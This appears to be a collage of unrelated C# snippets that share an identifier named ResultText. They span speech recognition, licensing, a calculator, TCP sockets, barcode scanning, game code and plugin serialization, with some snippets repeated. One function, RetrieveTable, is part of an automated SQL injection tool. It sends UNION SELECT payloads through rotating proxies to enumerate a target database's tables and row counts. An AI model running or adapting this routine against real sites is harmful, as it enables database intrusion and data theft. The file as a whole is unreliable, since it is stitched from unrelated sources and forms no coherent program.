private IEnumerable <ResultText> ToResultTextCollection(string responceJson) { MicrosoftSpeechApiResultDto result = JsonConvert.DeserializeObject <MicrosoftSpeechApiResultDto>(responceJson); if (result.RecognitionStatus != "Success") { return(null); } List <ResultText> resultTexts = new List <ResultText>(); foreach (MicrosoftSpeechApiHypothesisDto hypothesisDto in result.NBest) { ResultText resultText = new ResultText( null, hypothesisDto.Display, RecognitionStatus.Success, hypothesisDto.Confidence); _resultTextService.AddRecognitionResult(null, hypothesisDto.Display, RecognitionStatus.Success, hypothesisDto.Confidence); resultTexts.Add(resultText); } return(resultTexts); }
private void generateKeys(bool isLoad = false) { if (File.Exists("privateKey.xml") || File.Exists("publicKey.xml")) { if (isLoad == false) { var result = MessageBox.Show("The key is existed, override it?", "Warning", MessageBoxButtons.YesNo); if (result == DialogResult.No) { return; } } else { return; } } var privateKey = ""; var publicKey = ""; LicenseGenerator.GenerateLicenseKey(out privateKey, out publicKey); File.WriteAllText("privateKey.xml", privateKey); File.WriteAllText("publicKey.xml", publicKey); ResultText.AppendText("The Key is created, please backup it.\n"); }
private void AddAnalyse_Click_1(object sender, EventArgs e) { AnalyseModel addmodel = new AnalyseModel(); DateModel datemodel = new DateModel(); datemodel.Day = Program.Current_Date.Date; datemodel.Time += Program.Current_Date.TimeOfDay; addmodel.Date_Id = date.Add(datemodel); try { int selected = ListView.SelectedIndices[0]; addmodel.Type_Id = Analyse_Type.SelectedIndex + 1; addmodel.Client_Id = long.Parse(ListView.Items[selected].SubItems[0].Text); addmodel.Result = long.Parse(ResultText.Text); addmodel.Coment = Coment.Text; analyse.Add(addmodel); Coment.Clear(); ResultText.Clear(); MessageBox.Show("Данные внесены"); } catch { MessageBox.Show("Некоторые поля не выбраны"); } }
private GlobalDS.Table RetrieveTable(long PreviousTableID) { GlobalDS.Table retVal = new GlobalDS.Table(); _AttackParams[_VectorName] = GeneralPurposeUnionTextSelect("convert(int, name + char(58) + convert(char, id))", "sysobjects", "xtype=char(85) and id > " + PreviousTableID.ToString()); string ResultPage, ResultText; ResultPage = httpConnect.PageRequest(_TargetURL, _AttackParams, RotatedProxy(), _ConnectViaPost, _Options.Cookies, _Options.AuthCredentials, _Options.UserAgent); ResultText = ParsePage.ParseUnionSelectForNvarchar(ResultPage, _Plugin); string[] values = ResultText.Split(':'); retVal.Name = values[0]; retVal.ObjectID = Convert.ToInt64(values[1]); _AttackParams[_VectorName] = GeneralPurposeUnionTextSelect("convert(int, char(58) + convert(char, count(*)))", values[0], null); ResultPage = httpConnect.PageRequest(_TargetURL, _AttackParams, RotatedProxy(), _ConnectViaPost, _Options.Cookies, _Options.AuthCredentials, _Options.UserAgent); ResultText = ParsePage.ParseUnionSelectForVarchar(ResultPage, _Plugin); if (ResultText.Length > 0) { ResultText = ResultText.Substring(1, ResultText.Length - 1); retVal.RecordCount = Convert.ToInt64(ResultText.Trim()); } else { retVal.RecordCount = -1; } return(retVal); }
public override void WriteBinary(ESPWriter writer) { if (ItemText != null) { ItemText.WriteBinary(writer); } if (ResultText != null) { ResultText.WriteBinary(writer); } if (Flags != null) { Flags.WriteBinary(writer); } if (DisplayNote != null) { DisplayNote.WriteBinary(writer); } if (SubMenu != null) { SubMenu.WriteBinary(writer); } if (Script != null) { Script.WriteBinary(writer); } if (Conditions != null) { foreach (var item in Conditions) { item.WriteBinary(writer); } } }
/** * * IEnumerator Wait4Logout() { * int level = Application.loadedLevel; * while (Application.loadedLevel == level) { * yield return null; * } * ResultText result = ResultText.Instance; * result.Show (isWinner, isRivalExit); * History history = History.Instance; * Debug.Log (history.Dump ()); * } * */ IEnumerator Wait4Result() { yield return(new WaitForSeconds(0.2f)); ResultText result = ResultText.Instance; UserInfo user = null; if (isWinner) { user = me; } else { if (first.IsWon) { user = first; } if (last.IsWon) { user = last; } } result.Show(user, isRivalExit); History history = History.Instance; Debug.Log(history.Dump()); }
//private static CountManager countManager = new CountManager(); //private void CountManager_ExceedLimitation(string obj) //{ // if (Validation() == false) // { // MessageBox.Show("No license provided"); // } //} private bool Validation() { var keyFile = "publicKey.xml"; string publicKey = ""; if (File.Exists(keyFile)) { publicKey = File.ReadAllText(keyFile); } var licenseValidator = new LicenseValidator(publicKey, "license.lic"); try { licenseValidator.AssertValidLicense(); var log = $"{licenseValidator.Name} authorized License to {licenseValidator.LicenseAttributes["name"]}\n"; this.Text = "SIAPM Attend Form authorized"; LogHelper.Info(log); ResultText.AppendText(log); return(true); } catch (Exception ex) { LogHelper.Error("Validation", ex); ResultText.AppendText("No license provided or validation is failed.\n"); } return(false); }
private void ScanBarcode() { if (_loadedImage == null) { return; } if (_modifiedImage != null) { _modifiedImage.Dispose(); _modifiedImage = null; } _modifiedImage = AdjustSharpness(_loadedImage as Bitmap, (float)SharpnessTrack.Value / SharpnessTrack.Maximum); BarcodeImage.Image = _modifiedImage; using (ZBar.ImageScanner scanner = new ZBar.ImageScanner()) { scanner.SetConfiguration(ZBar.SymbolType.None, ZBar.Config.XDensity, 3); scanner.SetConfiguration(ZBar.SymbolType.None, ZBar.Config.YDensity, 3); List <ZBar.Symbol> symbols = scanner.Scan(_modifiedImage); ResultText.Clear(); foreach (ZBar.Symbol symbol in symbols) { if (ResultText.TextLength > 0) { ResultText.Text += Environment.NewLine; } ResultText.Text += symbol.Data; } } }
private void button1_Click(object sender, EventArgs e) { if (Validation() == false) { MessageBox.Show("No license provided\n"); return; } if (targetDate.CompareTo(default(DateTime)) == 0) { MessageBox.Show("please set target time", "Attend log", MessageBoxButtons.OK, MessageBoxIcon.Question); return; } try { if (openFileDialog1.ShowDialog() == DialogResult.OK) { var fName = openFileDialog1.FileName; Utils.CalucateEmployeAttendence(fName, targetDate); MessageBox.Show("Successful imported.", "Attend log", MessageBoxButtons.OK, MessageBoxIcon.Information); } } catch (Exception ex) { ResultText.AppendText(ex.Message); } }
void RecMsg(object sokConnectionparn) { Socket sokClient = sokConnectionparn as Socket; while (true) { // 定义一个2M的缓存区; byte[] arrMsgRec = new byte[1024 * 1024 * 2]; // 将接受到的数据存入到输入 arrMsgRec中; int length = -1; try { length = sokClient.Receive(arrMsgRec); // 接收数据,并返回数据的长度; if (length <= 0) { removeClient(sokClient, "Length isn't non negative."); break; } } catch (SocketException SokEx) { removeClient(sokClient, SokEx.Message); break; } catch (Exception ex) { removeClient(sokClient, ex.Message); break; } string strMsg = System.Text.Encoding.UTF8.GetString(arrMsgRec, 0, length);// 将接受到的字节数据转化成字符串; protocol(strMsg); ResultText.AppendText("Received message from tester: " + strMsg + "\n"); } }
private static List <ResultText> ParseJsonToResult(string result) { var list = new List <ResultText>(); var jsonParser = new SeJsonParser(); var root = jsonParser.GetArrayElementsByName(result, "result"); foreach (var item in root) { var conf = jsonParser.GetFirstObject(item, "conf"); var start = jsonParser.GetFirstObject(item, "start"); var end = jsonParser.GetFirstObject(item, "end"); var word = jsonParser.GetFirstObject(item, "word"); if (!string.IsNullOrWhiteSpace(word) && decimal.TryParse(conf, NumberStyles.AllowDecimalPoint, CultureInfo.InvariantCulture, out var confidence) && decimal.TryParse(start, NumberStyles.AllowDecimalPoint, CultureInfo.InvariantCulture, out var startSeconds) && decimal.TryParse(end, NumberStyles.AllowDecimalPoint, CultureInfo.InvariantCulture, out var endSeconds)) { var rt = new ResultText { Confidence = confidence, Text = word, Start = startSeconds, End = endSeconds }; list.Add(rt); } } return(list); }
public void AssignScore(DataCodes pResultCode) { switch (pResultCode) { case DataCodes.P1_ROUND_WON: if (Client.PlayerNum == 1) { Score += 1; ResultText.SetText("YOU WIN"); } else { ResultText.SetText("YOU LOSE"); } break; case DataCodes.P1_ROUND_LOST: if (Client.PlayerNum == 2) { Score += 1; ResultText.SetText("YOU WIN"); } else { ResultText.SetText("YOU LOSE"); } break; case DataCodes.ROUND_TIE: break; } ResultText.gameObject.SetActive(true); }
private void BeginListenButton_Click(object sender, EventArgs e) { // 创建负责监听的套接字,注意其中的参数; socketWatch = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); // 获得文本框中的IP对象; IPAddress address = IPAddress.Parse(MachineIPText.Text.Trim()); // 创建包含ip和端口号的网络节点对象; IPEndPoint endPoint = new IPEndPoint(address, int.Parse(MachinePortTextBox.Text.Trim())); try { // 将负责监听的套接字绑定到唯一的ip和端口上; socketWatch.Bind(endPoint); } catch (SocketException se) { MessageBox.Show("异常:" + se.Message); return; } // 设置监听队列的长度; socketWatch.Listen(10); // 创建负责监听的线程; threadWatch = new Thread(WatchConnecting); threadWatch.IsBackground = true; threadWatch.Start(); ResultText.AppendText("服务器启动监听成功!\n"); }
void Awake() { if (instance == null) { instance = this; } }
/// <summary> /// call back after message is recevied from TCP server /// </summary> private void recMsg() { while (true) { Thread.Sleep(800); // 定义一个2M的缓存区; byte[] arrMsgRec = new byte[1024 * 1024 * 2]; // 将接受到的数据存入到输入 arrMsgRec中; int length = -1; try { length = sockClient.Receive(arrMsgRec); // 接收数据,并返回数据的长度; } catch (SocketException se) { message = "异常;" + se.Message; ResultText.AppendText(message + "\n"); return; } catch (Exception e) { message = "异常:" + e.Message; ResultText.AppendText(message + "\n"); return; } strMsgFromMachine = System.Text.Encoding.UTF8.GetString(arrMsgRec, 0, length);// 将接受到的字节数据转化成字符串; ResultText.AppendText("Machine: " + strMsgFromMachine + "\n"); protocol(strMsgFromMachine); } }
public async Task <IResultObject> RunCommand(RunAnalysisCommand command) { string postURL = command.PostURL; string xmlData = System.IO.File.ReadAllText(command.fileSettingsInput.Directory + "\\" + command.fileSettingsInput.FileName); HttpResponseMessage b = null; using (var httpClient = new HttpClient()) { httpClient.BaseAddress = new Uri(postURL); httpClient.DefaultRequestHeaders.Add("x-api-key", command.APIKey); var r = new HttpRequestMessage(HttpMethod.Post, postURL); r.Content = new StringContent(xmlData, Encoding.UTF8, "application/xml"); b = await httpClient.SendAsync(r); } string text = await b.Content.ReadAsStringAsync(); try { ResultJson resultjson = JsonSerializer.Deserialize <ResultJson>(text); return(resultjson); } catch { string filePath = command.fileSettingsOutput.Directory + "\\" + command.fileSettingsOutput.FileName; StreamWriter sw = new StreamWriter(filePath); sw.Write(text); ResultText txt = new ResultText(); txt.txt = filePath; return(txt); } // TODO Add XML }
protected void Find_Click(object sender, EventArgs e) { string keyword = FindingKeyword.Text; List <FindingResult> results = finder.FindSentences(keyword); //FindingResult.Text = results.Count.ToString(); ResultText.DataSource = results; ResultText.DataBind(); }
public IActionResult Remove(int id) { ResultText resultText = _resultTextRepository.GetById(id); int audioId = resultText.AudioId; _resultTextRepository.Delete(resultText); return(RedirectToAction("List", new { id = audioId })); }
private void equals_Click(object sender, EventArgs e) { double Result = 0; switch (sOperator) { case "+": Result = float.Parse(sFirstValue) + float.Parse(ResultText.Text); break; case "-": Result = float.Parse(sFirstValue) - float.Parse(ResultText.Text); break; case "*": Result = float.Parse(sFirstValue) * float.Parse(ResultText.Text); break; case "/": Result = float.Parse(sFirstValue) / float.Parse(ResultText.Text); break; case "sin": double val = double.Parse(sFirstValue); Result = Math.Sin(val * Math.PI / 180); break; case "cos": double ans = double.Parse(sFirstValue); Result = Math.Cos(ans * Math.PI / 180); break; case "tan": ans = double.Parse(sFirstValue); Result = Math.Tan(ans * Math.PI / 180); break; case "fact": double fact = 1; double value = double.Parse(sFirstValue); for (double i = value; i >= 1; i--) { fact = fact * i; } Result = fact; break; case "square": Result = float.Parse(sFirstValue) * float.Parse(sFirstValue); break; } ResultText.ResetText(); ResultText.Text = Convert.ToString(Result); }
private void removeClient(Socket sokClient, string ex) { ResultText.AppendText("异常:" + ex + "\n"); // 从 通信套接字 集合中删除被中断连接的通信套接字; dict.Remove(sokClient.RemoteEndPoint.ToString()); // 从通信线程集合中删除被中断连接的通信线程对象; dictThread.Remove(sokClient.RemoteEndPoint.ToString()); // 从列表中移除被中断的连接IP lbOnline.Items.Remove(sokClient.RemoteEndPoint.ToString()); }
private bool CheckTaskResult(string taskName, string message, string checkString) { if (ResultText.Contains(checkString)) { if (MessageBox.Show(message, taskName, MessageBoxButton.YesNo, MessageBoxImage.Warning) == MessageBoxResult.No) { return(false); } } return(true); }
public TA2007ViewModel() { Messenger.Default.Register <TA2007ChannelsSettings>(this, (o) => { _selectedChannelsList = o.SelectedChannales.ToList(); ResetNumberColor(); PaintSelectedChannels(); RaisePropertyChanged(nameof(IsFunctionCheckTestChecked)); RaisePropertyChanged(nameof(IsErrorCalculationTestChecked)); }); Messenger.Default.Register <Brush[]>(this, (o) => { PhasingColor = o[0]; SyncColor = o[1]; RaisePropertyChanged(nameof(PhasingColor)); RaisePropertyChanged(nameof(SyncColor)); }); Messenger.Default.Register <TA2007ResultText>(this, (o) => { _lastResult = o.Text; ResultText.AppendLine(_lastResult); RaisePropertyChanged(nameof(ResultText)); }); Messenger.Default.Register <DebugSettings>(this, (o) => { _timerValue = o.TA2007TimerValue; _timerStep = (float)(100.0 / _timerValue); }); _ta2007Model = new TA2007Model(); _log = Log.GetInstance(); _canStart = true; _selectedChannelsList = new List <int>(); IsFunctionCheckTestChecked = true; IsResistanceTestChecked = true; IsPhasing = false; ResultText = new StringBuilder(); _timer = new DispatcherTimer(); _timer.Tick += new EventHandler(timer_Tick); _timer.Interval = new TimeSpan(0, 0, 1); _timerValue = Properties.Settings.Default.TA2007TimerValue; _timerStep = (float)(100.0 / _timerValue); ListAddressesCount = Constants.LIST_ADDRESSES_COUNT; ProgressBarVisibility = Visibility.Hidden; IsControlsEnabled = true; SelectedAddress = Properties.Settings.Default.TA2007Address; IsPhasing = false; }
protected internal void AddRecognitionResult(ResultText resultText) { if (resultText == null) { throw new ArgumentNullException(nameof(resultText)); } if (RecognitionResults.Any(x => x.Id == resultText.Id)) { RecognitionResults.Remove(RecognitionResults.SingleOrDefault(x => x.Id == resultText.Id)); } RecognitionResults.Add(resultText); }
private int sendMessage(string strMsg) { int result = -1; //string strMsg = IDText.Text.Trim() + "," + PWText.Text.Trim(); byte[] arrMsg = System.Text.Encoding.UTF8.GetBytes(strMsg); if (sockClient != null) { result = sockClient.Send(arrMsg); // 发送消息; } strMsgToMachine = "Tester cmd: " + strMsg; ResultText.AppendText(strMsgToMachine + "\n"); return(result); }
private void LoadResults(string fileName) { try { ResultText = File.ReadAllText(fileName); if (double.TryParse(ResultText.Split(new string[] { Environment.NewLine }, StringSplitOptions.None)[0], out double score)) { Score = score; } } catch (Exception ex) { ResultText += ex.Message; Score = double.MinValue; } }
/// <summary> /// 监听客户端请求的方法; /// </summary> void WatchConnecting() { while (true) // 持续不断的监听客户端的连接请求; { // 开始监听客户端连接请求,Accept方法会阻断当前的线程; Socket sokConnection = socketWatch.Accept(); // 一旦监听到一个客户端的请求,就返回一个与该客户端通信的 套接字; // 想列表控件中添加客户端的IP信息; lbOnline.Items.Add(sokConnection.RemoteEndPoint.ToString()); // 将与客户端连接的 套接字 对象添加到集合中; dict.Add(sokConnection.RemoteEndPoint.ToString(), sokConnection); ResultText.AppendText("客户端连接成功!\n"); Thread thr = new Thread(RecMsg); thr.IsBackground = true; thr.Start(sokConnection); dictThread.Add(sokConnection.RemoteEndPoint.ToString(), thr); // 将新建的线程 添加 到线程的集合中去。 } }
public override void WriteXML(XElement ele, ElderScrollsPlugin master) { XElement subEle; if (ItemText != null) { ele.TryPathTo("ItemText", true, out subEle); ItemText.WriteXML(subEle, master); } if (ResultText != null) { ele.TryPathTo("ResultText", true, out subEle); ResultText.WriteXML(subEle, master); } if (Flags != null) { ele.TryPathTo("Flags", true, out subEle); Flags.WriteXML(subEle, master); } if (DisplayNote != null) { ele.TryPathTo("DisplayNote", true, out subEle); DisplayNote.WriteXML(subEle, master); } if (SubMenu != null) { ele.TryPathTo("SubMenu", true, out subEle); SubMenu.WriteXML(subEle, master); } if (Script != null) { ele.TryPathTo("Script", true, out subEle); Script.WriteXML(subEle, master); } if (Conditions != null) { ele.TryPathTo("Conditions", true, out subEle); foreach (var entry in Conditions) { XElement newEle = new XElement("Condition"); entry.WriteXML(newEle, master); subEle.Add(newEle); } } }
public ResultText AddRecognitionResult( Speech speech, string text, RecognitionStatus status, decimal confidence) { if (speech == null) { throw new ArgumentNullException(nameof(speech)); } if (string.IsNullOrWhiteSpace(text)) { throw new ArgumentNullException(nameof(text)); } ResultText resultText = new ResultText(speech, text, status, confidence); speech.AddRecognitionResult(resultText); _recognitionResultsRepository.Add(resultText); return(resultText); }
public bool connectToTCPServer() { IPEndPoint endPoint = new IPEndPoint(machineIp, machinePort); sockClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); try { ResultText.AppendText("与服务器连接中...\n"); sockClient.Connect(endPoint); isConnectToTCPServer = true; } catch (SocketException se) { ResultText.AppendText(se.Message); return(isConnectToTCPServer); //this.Close(); } ResultText.AppendText("与服务器连接成功!!!\n"); threadClient = new Thread(recMsg); threadClient.IsBackground = true; threadClient.Start(); return(isConnectToTCPServer); }
void Awake() { if (instance == null) instance = this; }
public IActionResult View(int id) { ResultText resultText = _resultTextRepository.GetById(id); return(View(resultText)); }